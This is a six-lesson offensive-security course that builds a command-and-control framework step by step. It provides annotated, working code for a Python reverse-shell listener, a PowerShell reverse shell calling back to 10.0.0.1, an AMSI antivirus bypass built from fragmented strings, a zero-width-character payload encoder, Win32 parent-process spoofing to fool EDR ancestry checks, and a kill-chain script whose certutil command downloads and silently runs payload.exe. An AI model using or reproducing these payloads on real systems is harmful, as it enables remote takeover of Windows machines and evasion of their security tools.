PYTHON 3
// LESSON 01 / 06 — TCP REVERSE SHELL

The Listener — Base Camp Radio Operator

You don't knock on the target's door. You set up a listening post and wait for them to call you. That's the whole trick — it bypasses inbound firewall rules because they initiated the connection.

// FIELD ANALOGY
Bind shell vs reverse shell. A bind shell opens a port on the target and waits — you connect in. Problem: corporate firewalls block inbound connections on random ports. Blocked every time. A reverse shell connects OUT from the target to you. Port 443 outbound? Allowed everywhere. You sit at base camp with a receiver, the field unit calls home. That's the game.

// NOMENCLATURE — PYTHON 3 SOCKETS

import socketLoads Python's network comms module. Like calling in the signals unit before you can transmit.
socket.socket()Creates a transceiver object. Needs two params: address family + socket type.
AF_INETAddress Family: Internet. IPv4 addressing — the standard 4-octet format (10.0.0.1). AF_INET6 would be IPv6.
SOCK_STREAMTCP — reliable, ordered, connection-based stream. Every byte arrives in order. SOCK_DGRAM would be UDP (fire and forget).
SO_REUSEADDRAllow reuse of the port immediately after crash/restart. Without this, the OS holds the port in TIME_WAIT for 60 seconds after close.
bind("0.0.0.0", port)Tunes to this frequency on ALL network interfaces. 0.0.0.0 = any NIC. Port = the channel (0-65535).
listen(1)Sets receive mode. The number is the backlog queue — max pending connections waiting to be accepted.
accept()BLOCKS HERE. Returns (conn_socket, (ip, port)) the instant a client connects. Your process sits frozen until that call arrives.
encode() / decode()The network sends raw bytes. Python strings are Unicode text. encode() = text→bytes (for sending). decode() = bytes→text (for printing).
// REFERENCE — annotated line by line
import socket             # signals unit — load the network module

def listen(port=4443):    # default port 4443: near 443 (HTTPS), less flagged by IDS
    srv = socket.socket(
        socket.AF_INET,       # IPv4 (standard internet addressing)
        socket.SOCK_STREAM)   # TCP: reliable, ordered stream — NOT UDP
    srv.setsockopt(
        socket.SOL_SOCKET,    # option level: socket-level (not TCP-level)
        socket.SO_REUSEADDR,  # immediately reuse port after crash/restart
        1)
    srv.bind(("0.0.0.0", port))  # 0.0.0.0 = all interfaces. Listen on any NIC.
    srv.listen(1)                # ready to receive. 1 = max queued connections.
    print(f"[*] Listening on :{port}")
    conn, addr = srv.accept()    # BLOCKS until a client connects. Returns socket + address.
    print(f"[+] Connection from {addr[0]}")  # addr = (ip_string, port_number)
    while True:
        cmd = input("shell> ").strip()   # operator types command
        if not cmd:
            continue                     # empty input — try again
        conn.send((cmd + "\n").encode()) # \n terminates the line. encode() = text→bytes
        output = conn.recv(65535)        # receive up to 64KB of output from target
        print(output.decode(errors="replace"), end="")  # print. replace=survive bad bytes
// YOUR MISSION

Write the Python TCP listener from memory. You understand what each line does — now prove it. Match the structure: socket creation, setsockopt, bind, listen, accept, the command loop. Comments stripped by the checker — understanding is the goal, not copy-paste.

// WHY THIS WORKS

The key insight: accept() blocks. Your whole program halts there, doing nothing, until a client connects. The OS handles the queue. Once a socket is accepted, you have a full-duplex channel — send/recv independently. The listener socket (srv) goes idle; the connection socket (conn) is what you work with.

POWERSHELL / .NET
// LESSON 02 / 06 — POWERSHELL CLIENT

The Enemy's Radio — Running Their Playbook

PowerShell is pre-installed on every Windows machine, signed by Microsoft, whitelisted by default. You're not dropping a binary. You're issuing commands in the host's own language — from memory if you use IEX. Leaves no file on disk.

// FIELD ANALOGY
You've captured the enemy's radio. You know their protocol. Instead of importing your own gear (suspicious binary on disk), you pick up their radio and transmit on their frequency. PowerShell is .NET running in a shell. Every Windows function you'd call in C# is available — no compiler, no binary, no trace beyond the process memory.

// NOMENCLATURE — POWERSHELL + .NET

$variableAll PS variables start with $. Like naming a kit bag. Holds any value — string, object, number. $client holds the entire TCP connection object.
[Net.Sockets.TcpClient]A .NET type reference. Square brackets = "this is a type name, not a string." Tells PS to load that specific class from the .NET Framework.
New-ObjectInstantiates a .NET class. Like submitting a requisition for a specific piece of equipment. Returns the live object.
.GetStream()Returns the raw byte pipe over the TCP connection. All data flows through this — you wrap it in reader/writer for text.
StreamWriterWraps the stream for sending text lines. WriteLine() sends a string + newline. AutoFlush means don't buffer — transmit immediately.
StreamReaderWraps the stream for receiving text lines. ReadLine() blocks until a newline arrives — returns the line as a string.
cmd.exe /cRun a command in cmd.exe and exit. /c = "carry out this command then quit." 2>&1 = redirect stderr into stdout so errors come back too.
Out-StringConverts PowerShell output objects to a plain text string. Without it, you get serialised PS objects, not readable text.
// REFERENCE — annotated
$ip = "10.0.0.1"        # attacker IP — where to call back
$port = 4443             # must match the listener port
$client = New-Object Net.Sockets.TcpClient($ip, $port)  # TCP connect outbound
$stream = $client.GetStream()                            # raw byte pipe
$writer = New-Object IO.StreamWriter($stream)            # wraps stream for sending text
$writer.AutoFlush = $true                                # don't buffer — send immediately
$reader = New-Object IO.StreamReader($stream)            # wraps stream for receiving text
$writer.WriteLine("OK")                                  # signal: connection alive
while ($true) {
    $cmd = $reader.ReadLine()                            # BLOCKS until operator sends a command
    if (-not $cmd) { break }                             # null = connection dropped, exit
    try {
        $out = (cmd.exe /c $cmd 2>&1) | Out-String      # run. capture stdout+stderr. stringify.
    } catch {
        $out = "ERROR: $_"                               # catch PS exceptions, report back
    }
    $writer.WriteLine($out)                              # send output back to operator
}
// YOUR MISSION

Write the PowerShell reverse shell. Connect to 10.0.0.1:4443. Get stream, wrap in writer/reader, signal OK, enter the command loop. Run each command with cmd.exe /c, capture 2>&1, send back.

// WHY THIS WORKS

The 2>&1 is critical — without it, any command that outputs to stderr (errors, warnings) sends nothing back and your shell looks broken. Out-String is equally critical — PS commands return objects; the listener expects text. Without the conversion, you get garbage.

POWERSHELL — OBFUSCATION
// LESSON 03 / 06 — AMSI BYPASS

Talking in Code — The Checkpoint Linguist

AMSI scans strings as they load into memory. It knows every forbidden phrase by signature. Your counter: fragment the phrases at syllable boundaries. The scanner sees three innocent pieces. At runtime they recombine — and AMSI already passed them.

// FIELD ANALOGY
The checkpoint linguist recognises the phrase "detonator" and flags it. But "det" and "ona" and "tor" are all harmless syllables. You say them separately — the linguist clears you through. Once you're past the gate, you speak them in sequence and the meaning is whole again. AMSI is the linguist. Your split strings are the syllables. New-Object -T evaluates the assembled string after the gate.

// NOMENCLATURE — AMSI + OBFUSCATION

AMSIAntimalware Scan Interface. Microsoft API that intercepts script content and forwards it to the installed AV engine for scanning. Fires on string load — not just file access.
string splittingBreaking a forbidden class name into fragments joined with '+'. 'Net.S'+'ock'+'ets' assembles at runtime; the scanner sees three harmless fragments.
New-Object -TShorthand for -TypeName. Accepts a string evaluated to a type at runtime — after the fragments have already been cleared by AMSI's scan.
-AShorthand for -ArgumentList. The constructor arguments. Equivalent to the parameters in New-Object TypeName(arg1, arg2).
reflectionLoading .NET types by string name at runtime rather than static declaration. The type name is assembled dynamically — impossible to signature-match before runtime.
signature detectionAV looks for known strings/byte sequences (signatures). Split the string → exact signature doesn't exist in source → scanner clears it.
concatenation at runtimeThe + operator joins strings at EXECUTION time, not at scan time. AMSI scans before execution. By the time the full name exists, it's already through the gate.
// REFERENCE — annotated
$h = "10.0.0.1"
$p = 4443
# TYPE NAMES FRAGMENTED — each piece is harmless. Assembled = the class name AMSI blocks.
$T1 = 'Net.S'+'ock'+'ets.T'+'cp'+'Cli'+'ent'  # → Net.Sockets.TcpClient
$T2 = 'IO.St'+'ream'+'Wri'+'ter'               # → IO.StreamWriter
$T3 = 'IO.St'+'ream'+'Rea'+'der'               # → IO.StreamReader
# New-Object -T: TypeName as a runtime string. AMSI already cleared the fragments.
$client = New-Object -T $T1 -A ($h, $p)        # TCP connect outbound
$stream = $client.GetStream()
$writer = New-Object -T $T2 -A $stream         # wrap: send text
$writer.AutoFlush = $true
$reader = New-Object -T $T3 -A $stream         # wrap: receive text
$writer.WriteLine("OK")                        # signal alive
// YOUR MISSION

Write the AMSI-bypassed connection setup. Fragment the three type names, reassemble with +, use New-Object -T / -A. Same outcome as Lesson 2 — same functionality, different form that evades string-scanning detection.

// WHY THIS WORKS

AMSI hooks PowerShell's script block compilation. It sees the source text. If Net.Sockets.TcpClient appears as a continuous string, it flags it. Split across four string literals joined by +, none of those literals match the signature — so AMSI passes it. The concatenation happens at runtime inside the interpreter, after the scan.

PYTHON 3 — BIT MANIPULATION
// LESSON 04 / 06 — GHOST ENCODER

Invisible Ink — The 16-Character Alphabet

Every byte splits into two 4-bit halves (nibbles). Each nibble indexes into a 16-character alphabet of Unicode zero-width characters. The result looks like nothing — but it carries your payload.

// FIELD ANALOGY
You're writing a message in invisible ink between the lines of a normal letter. Anyone reading the letter sees normal text. But you and the recipient share a codebook: 16 symbols (each invisible to the naked eye) that map to hexadecimal values 0-F. Split every byte into two hex digits, encode each digit as one symbol. The recipient reverses the process. The plaintext host passes every visual inspection — the payload is undetectable without the codebook.

// NOMENCLATURE — BYTES AND BIT OPERATIONS

byte8 bits. Holds a value 0-255. Every piece of data — text, images, executables — is a sequence of bytes.
nibbleHalf a byte. 4 bits. Holds a value 0-15. Exactly enough to index a 16-character alphabet.
byte >> 4Right-shift 4 positions. Moves the top 4 bits down to positions 0-3. The bottom 4 bits drop off. Extracts the HIGH nibble.
& 0x0FAND with 00001111 in binary. Zeroes out the top 4 bits, keeps the bottom 4. Extracts the LOW nibble. Also applied after >> to be safe.
zero-width characterUnicode code points that take up no visual space. U+200B (ZWSP), U+200C (ZWNJ), etc. Invisible in browsers, text editors, terminals — but present in the string data.
GHOST_ALPHABET[i]Your codebook. 16 invisible characters indexed 0-15. Nibble value → invisible character. The recipient has the same list → reverses the lookup.
''.join(list)Concatenates a list of strings into one string. The entire encoded payload is one long invisible string, appended to host text.
// REFERENCE — annotated
def encode_bytes(data: bytes) -> str:
    encoded = []
    for byte in data:                    # iterate each byte 0-255
        high = (byte >> 4) & 0x0F       # right-shift 4: get top nibble (0-15)
        low  = byte & 0x0F              # mask bottom 4: get low nibble (0-15)
        encoded.append(GHOST_ALPHABET[high])  # high nibble → invisible char
        encoded.append(GHOST_ALPHABET[low])   # low nibble  → invisible char
    return ''.join(encoded)             # join list → single invisible string
# Example: byte 0xA3 (163) → high=0xA, low=0x3 → GHOST_ALPHABET[10] + GHOST_ALPHABET[3]
// YOUR MISSION

Write encode_bytes(). Iterate each byte, extract high and low nibbles with bit operations, look them up in GHOST_ALPHABET, append both, join and return. The type annotation (data: bytes) is kept by the checker.

// WHY THIS WORKS

Two characters per byte doubles the payload size — but they're all zero-width, so the visible host text is unaffected. Unicode zero-width characters survive copy-paste, file saves, and most content filters because they're valid Unicode. The codebook (GHOST_ALPHABET) is the only key — without it, you can't distinguish the invisible characters from whitespace noise.

C — WIN32 API
// LESSON 05 / 06 — PARENT PROCESS SPOOF

Forging the Unit Insignia — Process Tree Deception

Windows records who spawned every process — the parent PID. A suspicious cmd.exe spawned by powershell.exe stands out. The same cmd.exe apparently spawned by explorer.exe looks like a user double-clicked something. You're forging the record before the process even starts.

// FIELD ANALOGY
When you spawn a child process, Windows writes your PID as its parent in the process table — permanent record of origin. Security tools trace ancestry to identify suspicious spawns. The fix: before creating the process, pass a handle to explorer.exe as the "parent" attribute. Windows dutifully records explorer.exe's PID as the parent. The process is yours, but the paperwork says it came from explorer. Nobody questions explorer spawning things.

// NOMENCLATURE — WIN32 API / HANDLES

HANDLEAn opaque reference to a kernel object. Like a call sign for a unit — you don't touch the unit directly, you issue orders via the call sign (handle). Must be closed when done.
CreateToolhelp32SnapshotTakes a snapshot of all running processes at this instant. Returns a handle to iterate. TH32CS_SNAPPROCESS = include processes in the snapshot.
PROCESSENTRY32Struct representing one process in the snapshot: PID, parent PID, executable name, thread count.
Process32First / NextIterators over the snapshot. First = start. Next = advance. Returns FALSE when exhausted.
OpenProcessOpens an existing process by PID and returns a handle. PROCESS_ALL_ACCESS = full control. Need this handle to pass as the fake parent.
STARTUPINFOEXAExtended version of STARTUPINFO. Has an extra field — lpAttributeList — for passing process/thread creation attributes like the spoofed parent.
InitializeProcThreadAttributeListInitialises the attribute list buffer. Called TWICE: first to get the required buffer size (size param gets filled), then again with an allocated buffer.
PROC_THREAD_ATTRIBUTE_PARENT_PROCESSThe attribute key. Value = a HANDLE to the desired parent. Windows records that handle's PID as the spawned process's parent PID.
EXTENDED_STARTUPINFO_PRESENTCreateProcess flag: "use STARTUPINFOEXA not the basic STARTUPINFO." Required — without it, the lpAttributeList is ignored.
// REFERENCE — annotated
HANDLE get_explorer_handle() {
    DWORD pid = 0;
    // Roll call for the whole garrison — snapshot of all processes
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = {0};
    pe.dwSize = sizeof(pe);      // required: tell API the struct size before use
    if (Process32First(snap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, "explorer.exe") == 0) {  // case-insensitive match
                pid = pe.th32ProcessID;  // found explorer — grab its PID
                break;
            }
        } while (Process32Next(snap, &pe));  // advance to next process
    }
    CloseHandle(snap);           // always close handles — kernel resource leak otherwise
    return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);  // return handle to explorer
}
void spawn_spoofed(const char *cmd, HANDLE parent) {
    STARTUPINFOEXA si = {0};     // zero-init extended STARTUPINFO
    PROCESS_INFORMATION pi = {0};
    SIZE_T size = 0;
    // First call: get required buffer size (size gets filled, no buffer yet)
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    LPPROC_THREAD_ATTRIBUTE_LIST attrs =
        (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
    // Second call: actually initialise in the allocated buffer
    InitializeProcThreadAttributeList(attrs, 1, 0, &size);
    // Set the spoofed parent — Windows records this handle's PID as the parent
    UpdateProcThreadAttribute(attrs, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent,
        sizeof(parent), NULL, NULL);
    si.StartupInfo.cb = sizeof(si);  // size field must match struct in use
    si.lpAttributeList = attrs;      // attach the spoofed-parent attribute list
    CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, FALSE,
        EXTENDED_STARTUPINFO_PRESENT |  // flag: use STARTUPINFOEXA not basic
        CREATE_NO_WINDOW,               // don't pop a visible window
        NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
}
// YOUR MISSION

Write both functions: get_explorer_handle() and spawn_spoofed(). The first finds explorer.exe in the process list and returns an open handle. The second uses that handle to create a process with a spoofed parent. C syntax — structs, pointers, Win32 types.

// WHY THIS WORKS

The Windows kernel records the parent PID at spawn time from the attribute list — it trusts what you provide. Security tools like EDRs read the parent PID from the process table and check the ancestry. Since you wrote explorer.exe's PID there, the ancestry looks benign. The actual code that created the process is irrelevant — only the recorded parent matters.

PYTHON 3 — ORCHESTRATION
// LESSON 06 / 06 — KILL CHAIN

Mission Coordinator — Simultaneous Operations

You're not one soldier anymore. The file server runs in parallel (weapons cache), the listener runs in the main thread (waiting for callback), and the delivery command goes via whatever access you have. When the callback arrives, you own the shell.

// FIELD ANALOGY
A kill chain is a sequence of dependent operations — each phase must complete before the next begins, but some phases can run simultaneously. The file server starts in its own thread (weapons cache deployed and running). The listener stays in the main thread (waiting for callback). Neither blocks the other. When the target hits the delivery URL, it downloads the payload, runs it, and calls back — the listener accepts and you have your shell. One coordinator, two simultaneous squads.

// NOMENCLATURE — THREADING + ORCHESTRATION

threading.ThreadSpawns a parallel execution path in the same process. The OS schedules it to run independently — functions you'd otherwise have to wait for can run simultaneously.
daemon=TrueDaemon threads die when the main process exits. Without this, a background file server would keep your script alive even after the shell closes.
targetThe function the thread will run. Executes in a separate thread context — its variables are independent of the main thread's.
thread.start()Kicks off the thread. Execution begins in target() with args. The main thread continues immediately — no waiting.
certutil -urlcacheWindows built-in certificate utility. Side capability: downloads URLs. LOLBin — pre-installed, signed, trusted. No binary to drop for the download step.
LOLBinLiving Off the Land Binary. Pre-installed, signed Windows tools (certutil, mshta, regsvr32, rundll32) that can execute code. Attackers use them to avoid dropping new binaries.
kill chainThe sequence: payload built → delivery staged → listener ready → target fetches → target executes → shell callback received. Each link must hold.
// REFERENCE — annotated
import threading, socket, subprocess, sys, os, time

def auto_op(target_ip, port=4443, serve_port=8080):
    payload_path = build_payload(target_ip, port)     # build the PS1/EXE payload
    print(f"[*] Payload: {payload_path}")
    # SQUAD 1: file server in background thread (weapons cache)
    server_thread = threading.Thread(
        target=serve_files, args=(serve_port,), daemon=True
    )
    server_thread.start()                              # starts immediately, non-blocking
    print(f"[*] File server on :{serve_port}")
    # DELIVERY COMMAND: uses certutil (LOLBin — pre-installed, trusted binary)
    cmd = (f"certutil -urlcache -split -f "
           f"http://{get_local_ip()}:{serve_port}/payload.exe "
           f"C:\\\\Users\\\\Public\\\\svc.exe && "
           f"start /B C:\\\\Users\\\\Public\\\\svc.exe")
    print(f"[*] Deliver via: {cmd}")
    # SQUAD 2: listener in main thread — waits for callback
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("0.0.0.0", port))
    srv.listen(1)
    print(f"[*] Waiting for callback on :{port}...")
    conn, addr = srv.accept()                          # BLOCKS until callback arrives
    print(f"[+] Shell from {addr[0]}")
    watch_session(conn)                                # hand off to interactive handler
// YOUR MISSION

Write auto_op(). Build the payload, start the file server in a daemon thread, print the certutil delivery command, set up the listener socket, accept the callback, hand off to watch_session.

// WHY THIS WORKS

The daemon=True flag is load-bearing. Without it, when the main thread finishes (shell session ends), Python won't exit because the file server thread is still running. Daemon threads are automatically killed when the main thread exits. The file server is a side service — it shouldn't outlive the operation.

// CHEYANNE C2 — COMPLETE

You built a dual-channel C2 framework from scratch.
TCP reverse shell. AMSI bypass. Zero-width steganography. Parent process spoofing. Kill chain automation.

← Back to Course Catalog  |  Next: Ghost Encoder →